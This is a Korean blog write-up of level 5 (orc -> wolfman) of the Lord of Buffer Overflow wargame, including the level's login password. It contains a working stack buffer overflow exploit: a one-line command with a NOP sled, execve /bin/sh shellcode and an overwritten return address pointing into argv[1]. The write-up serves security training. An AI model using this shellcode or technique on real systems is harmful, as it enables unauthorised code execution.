본문 바로가기

Wargame/Lord Of Buffer overflow

[LOB] 5번 orc -> wolfman











id : orc

password : cantata



로그인 후 wolfman.c 코드를 보면 다음과 같다








이번 문제는 환경변수를 없애고 버퍼를 0으로 채우게 된다


남아있는 것은 argv[1]이기 때문에 리턴어드레스에 argv[1]의 주소를 넣어주면 된다









gdb로 argv[1]의 시작 주소를 알아냈다


0xbffffc46이다


$ebp에는 sfp, 리턴 어드레스, argc, argv[2]가 들어간다


원래 0x00000000 대신에 0x00000002 가 있어야 한다








./wolfman `python -c 'print "\x90"*15 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90"*4 + "\x46\xfc\xff\xbf"'`



NOP(15) + 쉘코드(25) + NOP(4) + argv[1]의 주소(4)


쉘이 실행되고 비밀번호를 알아낼 수 있다


'Wargame > Lord Of Buffer overflow' 카테고리의 다른 글

[LOB] 7번 darkelf -> orge  (0) 2017.11.14
[LOB] 6번 wolfman -> darkelf  (0) 2017.11.07
[LOB] 4번 goblin -> orc  (0) 2017.11.07
[LOB] 3번 cobolt -> goblin  (0) 2017.11.02
[LOB] 2번 gremlin -> cobolt  (0) 2017.11.02